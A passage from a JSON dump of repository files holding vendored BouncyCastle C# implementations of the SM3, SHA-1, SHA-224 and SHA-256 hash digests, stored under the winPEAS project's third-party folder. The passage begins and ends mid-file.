TODO Possible API change to support partial-byte suffixes.\n         */\n        protected override int DoFinal(byte[] output, int outOff, byte partialByte, int partialBits)\n        {\n            if (partialBits < 0 || partialBits > 7)\n                throw new ArgumentException(\"must be in the range [0,7]\", \"partialBits\");\n\n            int finalInput = (partialByte & ((1 << partialBits) - 1)) | (0x02 << partialBits);\n            Debug.Assert(finalInput >= 0);\n            int finalBits = partialBits + 2;\n\n            if (finalBits >= 8)\n            {\n                Absorb((byte)finalInput);\n                finalBits -= 8;\n                finalInput >>= 8;\n            }\n\n            return base.DoFinal(output, outOff, (byte)finalInput, finalBits);\n        }\n\n        public override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha3Digest(this);\n\t\t}\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/SM3Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\n\t/// <summary>\n\t/// Implementation of Chinese SM3 digest as described at\n\t/// http://tools.ietf.org/html/draft-shen-sm3-hash-00\n\t/// and at .... ( Chinese PDF )\n\t/// </summary>\n\t/// <remarks>\n\t/// The specification says \"process a bit stream\",\n\t/// but this is written to process bytes in blocks of 4,\n\t/// meaning this will process 32-bit word groups.\n\t/// But so do also most other digest specifications,\n\t/// including the SHA-256 which was a origin for\n\t/// this specification.\n\t/// </remarks>\n\tpublic class SM3Digest\n\t\t: GeneralDigest\n\t{\n\t\tprivate const int DIGEST_LENGTH = 32;   // bytes\n\t\tprivate const int BLOCK_SIZE = 64 / 4; // of 32 bit ints (16 ints)\n\n\t\tprivate uint[] V = new uint[DIGEST_LENGTH / 4]; // in 32 bit ints (8 ints)\n\t\tprivate uint[] inwords = new uint[BLOCK_SIZE];\n\t\tprivate int xOff;\n\n\t\t// Work-bufs used within processBlock()\n\t\tprivate uint[] W = new uint[68];\n\n        // Round constant T for processBlock() which is 32 bit integer rolled left up to (63 MOD 32) bit positions.\n\t\tprivate static readonly uint[] T = new uint[64];\n\n\t\tstatic SM3Digest()\n\t\t{\n\t\t\tfor (int i = 0; i < 16; ++i)\n\t\t\t{\n\t\t\t\tuint t = 0x79CC4519;\n\t\t\t\tT[i] = (t << i) | (t >> (32 - i));\n\t\t\t}\n\t\t\tfor (int i = 16; i < 64; ++i)\n\t\t\t{\n\t\t\t\tint n = i % 32;\n\t\t\t\tuint t = 0x7A879D8A;\n\t\t\t\tT[i] = (t << n) | (t >> (32 - n));\n\t\t\t}\n\t\t}\n\n\n\t\t/// <summary>\n\t\t/// Standard constructor\n\t\t/// </summary>\n\t\tpublic SM3Digest()\n\t\t{\n\t\t\tReset();\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Copy constructor.  This will copy the state of the provided\n\t\t/// message digest.\n\t\t/// </summary>\n\t\tpublic SM3Digest(SM3Digest t)\n\t\t\t: base(t)\n\t\t{\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(SM3Digest t)\n\t\t{\n\t\t\tArray.Copy(t.V, 0, this.V, 0, this.V.Length);\n\t\t\tArray.Copy(t.inwords, 0, this.inwords, 0, this.inwords.Length);\n\t\t\txOff = t.xOff;\n\t\t}\n\n\t\tpublic override string AlgorithmName\n\t\t{\n\t\t\tget { return \"SM3\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DIGEST_LENGTH;\n\t\t}\n\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new SM3Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSM3Digest d = (SM3Digest)other;\n\n\t\t\tbase.CopyIn(d);\n\t\t\tCopyIn(d);\n\t\t}\n\n\t\t/// <summary>\n\t\t/// reset the chaining variables\n\t\t/// </summary>\n\t\tpublic override void Reset()\n\t\t{\n\t\t\tbase.Reset();\n\n\t\t\tthis.V[0] = 0x7380166F;\n\t\t\tthis.V[1] = 0x4914B2B9;\n\t\t\tthis.V[2] = 0x172442D7;\n\t\t\tthis.V[3] = 0xDA8A0600;\n\t\t\tthis.V[4] = 0xA96F30BC;\n\t\t\tthis.V[5] = 0x163138AA;\n\t\t\tthis.V[6] = 0xE38DEE4D;\n\t\t\tthis.V[7] = 0xB0FB0E4E;\n\n\t\t\tthis.xOff = 0;\n\t\t}\n\n\n\t\tpublic override int DoFinal(byte[] output, int outOff)\n\t\t{\n\t\t\tFinish();\n\n            Pack.UInt32_To_BE(V, output, outOff);\n\n\t\t\tReset();\n\n\t\t\treturn DIGEST_LENGTH;\n\t\t}\n\n\n\t\tinternal override void ProcessWord(byte[] input,\n\t\t                                   int inOff)\n\t\t{\n\t\t\tuint n = Pack.BE_To_UInt32(input, inOff);\n\t\t\tthis.inwords[this.xOff] = n;\n\t\t\t++this.xOff;\n\n\t\t\tif (this.xOff >= 16)\n\t\t\t{\n\t\t\t\tProcessBlock();\n\t\t\t}\n\t\t}\n\n\t\tinternal override void ProcessLength(long bitLength)\n\t\t{\n\t\t\tif (this.xOff > (BLOCK_SIZE - 2))\n\t\t\t{\n\t\t\t\t// xOff == 15  --> can't fit the 64 bit length field at tail..\n\t\t\t\tthis.inwords[this.xOff] = 0; // fill with zero\n\t\t\t\t++this.xOff;\n\n\t\t\t\tProcessBlock();\n\t\t\t}\n\t\t\t// Fill with zero words, until reach 2nd to last slot\n\t\t\twhile (this.xOff < (BLOCK_SIZE - 2))\n\t\t\t{\n\t\t\t\tthis.inwords[this.xOff] = 0;\n\t\t\t\t++this.xOff;\n\t\t\t}\n\n\t\t\t// Store input data length in BITS\n\t\t\tthis.inwords[this.xOff++] = (uint)(bitLength >> 32);\n\t\t\tthis.inwords[this.xOff++] = (uint)(bitLength);\n\t\t}\n\n\t\t/*\n\n\t3.4.2.  Constants\n\n\n\t   Tj = 79cc4519        when 0  < = j < = 15\n\t   Tj = 7a879d8a        when 16 < = j < = 63\n\n\t3.4.3.  Boolean function\n\n\n\t   FFj(X;Y;Z) = X XOR Y XOR Z                       when 0  < = j < = 15\n\t              = (X AND Y) OR (X AND Z) OR (Y AND Z) when 16 < = j < = 63\n\n\t   GGj(X;Y;Z) = X XOR Y XOR Z                       when 0  < = j < = 15\n\t              = (X AND Y) OR (NOT X AND Z)          when 16 < = j < = 63\n\n\t   The X, Y, Z in the fomular are words!GBP\n\n\t3.4.4.  Permutation function\n\n\n\t   P0(X) = X XOR (X <<<  9) XOR (X <<< 17)   ## ROLL, not SHIFT\n\t   P1(X) = X XOR (X <<< 15) XOR (X <<< 23)   ## ROLL, not SHIFT\n\n\t   The X in the fomular are a word.\n\n\t----------\n\n\tEach ROLL converted to Java expression:\n\n\tROLL 9  :  ((x <<  9) | (x >> (32-9))))\n\tROLL 17 :  ((x << 17) | (x >> (32-17)))\n\tROLL 15 :  ((x << 15) | (x >> (32-15)))\n\tROLL 23 :  ((x << 23) | (x >> (32-23)))\n\n\t */\n\n\t\tprivate uint P0(uint x)\n\t\t{\n\t\t\tuint r9 = ((x << 9) | (x >> (32 - 9)));\n\t\t\tuint r17 = ((x << 17) | (x >> (32 - 17)));\n\t\t\treturn (x ^ r9 ^ r17);\n\t\t}\n\n\t\tprivate uint P1(uint x)\n\t\t{\n\t\t\tuint r15 = ((x << 15) | (x >> (32 - 15)));\n\t\t\tuint r23 = ((x << 23) | (x >> (32 - 23)));\n\t\t\treturn (x ^ r15 ^ r23);\n\t\t}\n\n\t\tprivate uint FF0(uint x, uint y, uint z)\n\t\t{\n\t\t\treturn (x ^ y ^ z);\n\t\t}\n\n\t\tprivate uint FF1(uint x, uint y, uint z)\n\t\t{\n\t\t\treturn ((x & y) | (x & z) | (y & z));\n\t\t}\n\n\t\tprivate uint GG0(uint x, uint y, uint z)\n\t\t{\n\t\t\treturn (x ^ y ^ z);\n\t\t}\n\n\t\tprivate uint GG1(uint x, uint y, uint z)\n\t\t{\n\t\t\treturn ((x & y) | ((~x) & z));\n\t\t}\n\n\n\t\tinternal override void ProcessBlock()\n\t\t{\n\t\t\tfor (int j = 0; j < 16; ++j)\n\t\t\t{\n\t\t\t\tthis.W[j] = this.inwords[j];\n\t\t\t}\n\t\t\tfor (int j = 16; j < 68; ++j)\n\t\t\t{\n\t\t\t\tuint wj3 = this.W[j - 3];\n\t\t\t\tuint r15 = ((wj3 << 15) | (wj3 >> (32 - 15)));\n\t\t\t\tuint wj13 = this.W[j - 13];\n\t\t\t\tuint r7 = ((wj13 << 7) | (wj13 >> (32 - 7)));\n\t\t\t\tthis.W[j] = P1(this.W[j - 16] ^ this.W[j - 9] ^ r15) ^ r7 ^ this.W[j - 6];\n\t\t\t}\n\n\t\t\tuint A = this.V[0];\n\t\t\tuint B = this.V[1];\n\t\t\tuint C = this.V[2];\n\t\t\tuint D = this.V[3];\n\t\t\tuint E = this.V[4];\n\t\t\tuint F = this.V[5];\n\t\t\tuint G = this.V[6];\n\t\t\tuint H = this.V[7];\n\n\n\t\t\tfor (int j = 0; j < 16; ++j)\n\t\t\t{\n\t\t\t\tuint a12 = ((A << 12) | (A >> (32 - 12)));\n\t\t\t\tuint s1_ = a12 + E + T[j];\n\t\t\t\tuint SS1 = ((s1_ << 7) | (s1_ >> (32 - 7)));\n\t\t\t\tuint SS2 = SS1 ^ a12;\n                uint Wj = W[j];\n                uint W1j = Wj ^ W[j + 4];\n\t\t\t\tuint TT1 = FF0(A, B, C) + D + SS2 + W1j;\n\t\t\t\tuint TT2 = GG0(E, F, G) + H + SS1 + Wj;\n\t\t\t\tD = C;\n\t\t\t\tC = ((B << 9) | (B >> (32 - 9)));\n\t\t\t\tB = A;\n\t\t\t\tA = TT1;\n\t\t\t\tH = G;\n\t\t\t\tG = ((F << 19) | (F >> (32 - 19)));\n\t\t\t\tF = E;\n\t\t\t\tE = P0(TT2);\n\t\t\t}\n\n\t\t\t// Different FF,GG functions on rounds 16..63\n\t\t\tfor (int j = 16; j < 64; ++j)\n\t\t\t{\n\t\t\t\tuint a12 = ((A << 12) | (A >> (32 - 12)));\n\t\t\t\tuint s1_ = a12 + E + T[j];\n\t\t\t\tuint SS1 = ((s1_ << 7) | (s1_ >> (32 - 7)));\n\t\t\t\tuint SS2 = SS1 ^ a12;\n\t\t\t\tuint Wj = W[j];\n\t\t\t\tuint W1j = Wj ^ W[j + 4];\n\t\t\t\tuint TT1 = FF1(A, B, C) + D + SS2 + W1j;\n\t\t\t\tuint TT2 = GG1(E, F, G) + H + SS1 + Wj;\n\t\t\t\tD = C;\n\t\t\t\tC = ((B << 9) | (B >> (32 - 9)));\n\t\t\t\tB = A;\n\t\t\t\tA = TT1;\n\t\t\t\tH = G;\n\t\t\t\tG = ((F << 19) | (F >> (32 - 19)));\n\t\t\t\tF = E;\n\t\t\t\tE = P0(TT2);\n\t\t\t}\n\n\t\t\tthis.V[0] ^= A;\n\t\t\tthis.V[1] ^= B;\n\t\t\tthis.V[2] ^= C;\n\t\t\tthis.V[3] ^= D;\n\t\t\tthis.V[4] ^= E;\n\t\t\tthis.V[5] ^= F;\n\t\t\tthis.V[6] ^= G;\n\t\t\tthis.V[7] ^= H;\n\n\t\t\tthis.xOff = 0;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha1Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\n    /**\n     * implementation of SHA-1 as outlined in \"Handbook of Applied Cryptography\", pages 346 - 349.\n     *\n     * It is interesting to ponder why the, apart from the extra IV, the other difference here from MD5\n     * is the \"endianness\" of the word processing!\n     */\n    public class Sha1Digest\n        : GeneralDigest\n    {\n        private const int DigestLength = 20;\n\n        private uint H1, H2, H3, H4, H5;\n\n        private uint[] X = new uint[80];\n        private int xOff;\n\n        public Sha1Digest()\n        {\n            Reset();\n        }\n\n        /**\n         * Copy constructor.  This will copy the state of the provided\n         * message digest.\n         */\n        public Sha1Digest(Sha1Digest t)\n            : base(t)\n        {\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(Sha1Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n            H5 = t.H5;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n        public override string AlgorithmName\n        {\n            get { return \"SHA-1\"; }\n        }\n\n        public override int GetDigestSize()\n        {\n            return DigestLength;\n        }\n\n        internal override void ProcessWord(\n            byte[]  input,\n            int     inOff)\n        {\n            X[xOff] = Pack.BE_To_UInt32(input, inOff);\n\n            if (++xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n        internal override void ProcessLength(long    bitLength)\n        {\n            if (xOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            X[14] = (uint)((ulong)bitLength >> 32);\n            X[15] = (uint)((ulong)bitLength);\n        }\n\n        public override int DoFinal(\n            byte[]  output,\n            int     outOff)\n        {\n            Finish();\n\n            Pack.UInt32_To_BE(H1, output, outOff);\n            Pack.UInt32_To_BE(H2, output, outOff + 4);\n            Pack.UInt32_To_BE(H3, output, outOff + 8);\n            Pack.UInt32_To_BE(H4, output, outOff + 12);\n            Pack.UInt32_To_BE(H5, output, outOff + 16);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n         * reset the chaining variables\n         */\n        public override void Reset()\n        {\n            base.Reset();\n\n            H1 = 0x67452301;\n            H2 = 0xefcdab89;\n            H3 = 0x98badcfe;\n            H4 = 0x10325476;\n            H5 = 0xc3d2e1f0;\n\n            xOff = 0;\n            Array.Clear(X, 0, X.Length);\n        }\n\n        //\n        // Additive constants\n        //\n        private const uint Y1 = 0x5a827999;\n        private const uint Y2 = 0x6ed9eba1;\n        private const uint Y3 = 0x8f1bbcdc;\n        private const uint Y4 = 0xca62c1d6;\n\n        private static uint F(uint u, uint v, uint w)\n        {\n            return (u & v) | (~u & w);\n        }\n\n        private static uint H(uint u, uint v, uint w)\n        {\n            return u ^ v ^ w;\n        }\n\n        private static uint G(uint u, uint v, uint w)\n        {\n            return (u & v) | (u & w) | (v & w);\n        }\n\n        internal override void ProcessBlock()\n        {\n            //\n            // expand 16 word block into 80 word block.\n            //\n            for (int i = 16; i < 80; i++)\n            {\n                uint t = X[i - 3] ^ X[i - 8] ^ X[i - 14] ^ X[i - 16];\n                X[i] = t << 1 | t >> 31;\n            }\n\n            //\n            // set up working variables.\n            //\n            uint A = H1;\n            uint B = H2;\n            uint C = H3;\n            uint D = H4;\n            uint E = H5;\n\n            //\n            // round 1\n            //\n            int idx = 0;\n\n            for (int j = 0; j < 4; j++)\n            {\n                // E = rotateLeft(A, 5) + F(B, C, D) + E + X[idx++] + Y1\n                // B = rotateLeft(B, 30)\n                E += (A << 5 | (A >> 27)) + F(B, C, D) + X[idx++] + Y1;\n                B = B << 30 | (B >> 2);\n\n                D += (E << 5 | (E >> 27)) + F(A, B, C) + X[idx++] + Y1;\n                A = A << 30 | (A >> 2);\n\n                C += (D << 5 | (D >> 27)) + F(E, A, B) + X[idx++] + Y1;\n                E = E << 30 | (E >> 2);\n\n                B += (C << 5 | (C >> 27)) + F(D, E, A) + X[idx++] + Y1;\n                D = D << 30 | (D >> 2);\n\n                A += (B << 5 | (B >> 27)) + F(C, D, E) + X[idx++] + Y1;\n                C = C << 30 | (C >> 2);\n            }\n\n            //\n            // round 2\n            //\n            for (int j = 0; j < 4; j++)\n            {\n                // E = rotateLeft(A, 5) + H(B, C, D) + E + X[idx++] + Y2\n                // B = rotateLeft(B, 30)\n                E += (A << 5 | (A >> 27)) + H(B, C, D) + X[idx++] + Y2;\n                B = B << 30 | (B >> 2);\n\n                D += (E << 5 | (E >> 27)) + H(A, B, C) + X[idx++] + Y2;\n                A = A << 30 | (A >> 2);\n\n                C += (D << 5 | (D >> 27)) + H(E, A, B) + X[idx++] + Y2;\n                E = E << 30 | (E >> 2);\n\n                B += (C << 5 | (C >> 27)) + H(D, E, A) + X[idx++] + Y2;\n                D = D << 30 | (D >> 2);\n\n                A += (B << 5 | (B >> 27)) + H(C, D, E) + X[idx++] + Y2;\n                C = C << 30 | (C >> 2);\n            }\n\n            //\n            // round 3\n            //\n            for (int j = 0; j < 4; j++)\n            {\n                // E = rotateLeft(A, 5) + G(B, C, D) + E + X[idx++] + Y3\n                // B = rotateLeft(B, 30)\n                E += (A << 5 | (A >> 27)) + G(B, C, D) + X[idx++] + Y3;\n                B = B << 30 | (B >> 2);\n\n                D += (E << 5 | (E >> 27)) + G(A, B, C) + X[idx++] + Y3;\n                A = A << 30 | (A >> 2);\n\n                C += (D << 5 | (D >> 27)) + G(E, A, B) + X[idx++] + Y3;\n                E = E << 30 | (E >> 2);\n\n                B += (C << 5 | (C >> 27)) + G(D, E, A) + X[idx++] + Y3;\n                D = D << 30 | (D >> 2);\n\n                A += (B << 5 | (B >> 27)) + G(C, D, E) + X[idx++] + Y3;\n                C = C << 30 | (C >> 2);\n            }\n\n            //\n            // round 4\n            //\n            for (int j = 0; j < 4; j++)\n            {\n                // E = rotateLeft(A, 5) + H(B, C, D) + E + X[idx++] + Y4\n                // B = rotateLeft(B, 30)\n                E += (A << 5 | (A >> 27)) + H(B, C, D) + X[idx++] + Y4;\n                B = B << 30 | (B >> 2);\n\n                D += (E << 5 | (E >> 27)) + H(A, B, C) + X[idx++] + Y4;\n                A = A << 30 | (A >> 2);\n\n                C += (D << 5 | (D >> 27)) + H(E, A, B) + X[idx++] + Y4;\n                E = E << 30 | (E >> 2);\n\n                B += (C << 5 | (C >> 27)) + H(D, E, A) + X[idx++] + Y4;\n                D = D << 30 | (D >> 2);\n\n                A += (B << 5 | (B >> 27)) + H(C, D, E) + X[idx++] + Y4;\n                C = C << 30 | (C >> 2);\n            }\n\n            H1 += A;\n            H2 += B;\n            H3 += C;\n            H4 += D;\n            H5 += E;\n\n            //\n            // reset start of the buffer.\n            //\n            xOff = 0;\n            Array.Clear(X, 0, 16);\n        }\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha1Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSha1Digest d = (Sha1Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha224Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n     * SHA-224 as described in RFC 3874\n     * <pre>\n     *         block  word  digest\n     * SHA-1   512    32    160\n     * SHA-224 512    32    224\n     * SHA-256 512    32    256\n     * SHA-384 1024   64    384\n     * SHA-512 1024   64    512\n     * </pre>\n     */\n    public class Sha224Digest\n        : GeneralDigest\n    {\n        private const int DigestLength = 28;\n\n\t\tprivate uint H1, H2, H3, H4, H5, H6, H7, H8;\n\n\t\tprivate uint[] X = new uint[64];\n        private int     xOff;\n\n\t\t/**\n         * Standard constructor\n         */\n        public Sha224Digest()\n        {\n            Reset();\n        }\n\n\t\t/**\n         * Copy constructor.  This will copy the state of the provided\n         * message digest.\n         */\n         public Sha224Digest(\n\t\t\t Sha224Digest t)\n\t\t\t : base(t)\n        {\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(Sha224Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n            H5 = t.H5;\n            H6 = t.H6;\n            H7 = t.H7;\n            H8 = t.H8;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n\t\tpublic override string AlgorithmName\n\t\t{\n\t\t\tget { return \"SHA-224\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tinternal override void ProcessWord(\n            byte[]  input,\n            int     inOff)\n        {\n\t\t\tX[xOff] = Pack.BE_To_UInt32(input, inOff);\n\n\t\t\tif (++xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n\t\tinternal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            X[14] = (uint)((ulong)bitLength >> 32);\n            X[15] = (uint)((ulong)bitLength);\n        }\n\n        public override int DoFinal(\n            byte[]\toutput,\n            int\t\toutOff)\n        {\n            Finish();\n\n\t\t\tPack.UInt32_To_BE(H1, output, outOff);\n            Pack.UInt32_To_BE(H2, output, outOff + 4);\n            Pack.UInt32_To_BE(H3, output, outOff + 8);\n            Pack.UInt32_To_BE(H4, output, outOff + 12);\n            Pack.UInt32_To_BE(H5, output, outOff + 16);\n            Pack.UInt32_To_BE(H6, output, outOff + 20);\n            Pack.UInt32_To_BE(H7, output, outOff + 24);\n\n\t\t\tReset();\n\n\t\t\treturn DigestLength;\n        }\n\n\t\t/**\n         * reset the chaining variables\n         */\n        public override void Reset()\n        {\n            base.Reset();\n\n            /* SHA-224 initial hash value\n             */\n            H1 = 0xc1059ed8;\n            H2 = 0x367cd507;\n            H3 = 0x3070dd17;\n            H4 = 0xf70e5939;\n            H5 = 0xffc00b31;\n            H6 = 0x68581511;\n            H7 = 0x64f98fa7;\n            H8 = 0xbefa4fa4;\n\n\t\t\txOff = 0;\n\t\t\tArray.Clear(X, 0, X.Length);\n        }\n\n        internal override void ProcessBlock()\n        {\n            //\n            // expand 16 word block into 64 word blocks.\n            //\n            for (int ti = 16; ti <= 63; ti++)\n            {\n                X[ti] = Theta1(X[ti - 2]) + X[ti - 7] + Theta0(X[ti - 15]) + X[ti - 16];\n            }\n\n\t\t\t//\n            // set up working variables.\n            //\n            uint a = H1;\n            uint b = H2;\n            uint c = H3;\n            uint d = H4;\n            uint e = H5;\n            uint f = H6;\n            uint g = H7;\n            uint h = H8;\n\n\t\t\tint t = 0;\n\t\t\tfor(int i = 0; i < 8; i ++)\n\t\t\t{\n\t\t\t\t// t = 8 * i\n\t\t\t\th += Sum1(e) + Ch(e, f, g) + K[t] + X[t];\n\t\t\t\td += h;\n\t\t\t\th += Sum0(a) + Maj(a, b, c);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 1\n\t\t\t\tg += Sum1(d) + Ch(d, e, f) + K[t] + X[t];\n\t\t\t\tc += g;\n\t\t\t\tg += Sum0(h) + Maj(h, a, b);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 2\n\t\t\t\tf += Sum1(c) + Ch(c, d, e) + K[t] + X[t];\n\t\t\t\tb += f;\n\t\t\t\tf += Sum0(g) + Maj(g, h, a);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 3\n\t\t\t\te += Sum1(b) + Ch(b, c, d) + K[t] + X[t];\n\t\t\t\ta += e;\n\t\t\t\te += Sum0(f) + Maj(f, g, h);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 4\n\t\t\t\td += Sum1(a) + Ch(a, b, c) + K[t] + X[t];\n\t\t\t\th += d;\n\t\t\t\td += Sum0(e) + Maj(e, f, g);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 5\n\t\t\t\tc += Sum1(h) + Ch(h, a, b) + K[t] + X[t];\n\t\t\t\tg += c;\n\t\t\t\tc += Sum0(d) + Maj(d, e, f);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 6\n\t\t\t\tb += Sum1(g) + Ch(g, h, a) + K[t] + X[t];\n\t\t\t\tf += b;\n\t\t\t\tb += Sum0(c) + Maj(c, d, e);\n\t\t\t\t++t;\n\n\t\t\t\t// t = 8 * i + 7\n\t\t\t\ta += Sum1(f) + Ch(f, g, h) + K[t] + X[t];\n\t\t\t\te += a;\n\t\t\t\ta += Sum0(b) + Maj(b, c, d);\n\t\t\t\t++t;\n\t\t\t}\n\n\t\t\tH1 += a;\n            H2 += b;\n            H3 += c;\n            H4 += d;\n            H5 += e;\n            H6 += f;\n            H7 += g;\n            H8 += h;\n\n            //\n            // reset the offset and clean out the word buffer.\n            //\n            xOff = 0;\n\t\t\tArray.Clear(X, 0, 16);\n\t\t}\n\n\t\t/* SHA-224 functions */\n        private static uint Ch(uint x, uint y, uint z)\n        {\n            return (x & y) ^ (~x & z);\n        }\n\n        private static uint Maj(uint x, uint y, uint z)\n        {\n            return (x & y) ^ (x & z) ^ (y & z);\n        }\n\n        private static uint Sum0(uint x)\n        {\n\t        return ((x >> 2) | (x << 30)) ^ ((x >> 13) | (x << 19)) ^ ((x >> 22) | (x << 10));\n        }\n\n        private static uint Sum1(uint x)\n        {\n\t\t\treturn ((x >> 6) | (x << 26)) ^ ((x >> 11) | (x << 21)) ^ ((x >> 25) | (x << 7));\n        }\n\n\t\tprivate static uint Theta0(uint x)\n        {\n\t        return ((x >> 7) | (x << 25)) ^ ((x >> 18) | (x << 14)) ^ (x >> 3);\n        }\n\n        private static uint Theta1(uint x)\n        {\n\t        return ((x >> 17) | (x << 15)) ^ ((x >> 19) | (x << 13)) ^ (x >> 10);\n        }\n\n\t\t/* SHA-224 Constants\n         * (represent the first 32 bits of the fractional parts of the\n         * cube roots of the first sixty-four prime numbers)\n         */\n        internal static readonly uint[] K = {\n            0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,\n            0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,\n            0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,\n            0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,\n            0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,\n            0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,\n\t\t\t0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,\n            0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2\n        };\n\t\t\n\t\tpublic override IMemoable Copy()\n\t\t{\n\t\t\treturn new Sha224Digest(this);\n\t\t}\n\n\t\tpublic override void Reset(IMemoable other)\n\t\t{\n\t\t\tSha224Digest d = (Sha224Digest)other;\n\n\t\t\tCopyIn(d);\n\t\t}\n\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/Sha256Digest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    /**\n    * Draft FIPS 180-2 implementation of SHA-256. <b>Note:</b> As this is\n    * based on a draft this implementation is subject to change.\n    *\n    * <pre>\n    *         block  word  digest\n    * SHA-1   512    32    160\n    * SHA-256 512    32    256\n    * SHA-384 1024   64    384\n    * SHA-512 1024   64    512\n    * </pre>\n    */\n    public class Sha256Digest\n\t\t: GeneralDigest\n    {\n        private const int DigestLength = 32;\n\n        private uint H1, H2, H3, H4, H5, H6, H7, H8;\n        private uint[] X = new uint[64];\n        private int xOff;\n\n        public Sha256Digest()\n        {\n\t\t\tinitHs();\n        }\n\n        /**\n        * Copy constructor.  This will copy the state of the provided\n        * message digest.\n        */\n        public Sha256Digest(Sha256Digest t) : base(t)\n        {\n\t\t\tCopyIn(t);\n\t\t}\n\n\t\tprivate void CopyIn(Sha256Digest t)\n\t\t{\n\t\t\tbase.CopyIn(t);\n\n            H1 = t.H1;\n            H2 = t.H2;\n            H3 = t.H3;\n            H4 = t.H4;\n            H5 = t.H5;\n            H6 = t.H6;\n            H7 = t.H7;\n            H8 = t.H8;\n\n            Array.Copy(t.X, 0, X, 0, t.X.Length);\n            xOff = t.xOff;\n        }\n\n        public override string AlgorithmName\n\t\t{\n\t\t\tget { return \"SHA-256\"; }\n\t\t}\n\n\t\tpublic override int GetDigestSize()\n\t\t{\n\t\t\treturn DigestLength;\n\t\t}\n\n\t\tinternal override void ProcessWord(\n            byte[]  input,\n            int     inOff)\n\t\t{\n\t\t\tX[xOff] = Pack.BE_To_UInt32(input, inOff);\n\n\t\t\tif (++xOff == 16)\n            {\n                ProcessBlock();\n            }\n        }\n\n\t\tinternal override void ProcessLength(\n            long bitLength)\n        {\n            if (xOff > 14)\n            {\n                ProcessBlock();\n            }\n\n            X[14] = (uint)((ulong)bitLength >> 32);\n            X[15] = (uint)((ulong)bitLength);\n        }\n\n        public override int DoFinal(\n            byte[]  output,\n            int     outOff)\n        {\n            Finish();\n\n            Pack.UInt32_To_BE((uint)H1, output, outOff);\n            Pack.UInt32_To_BE((uint)H2, output, outOff + 4);\n            Pack.UInt32_To_BE((uint)H3, output, outOff + 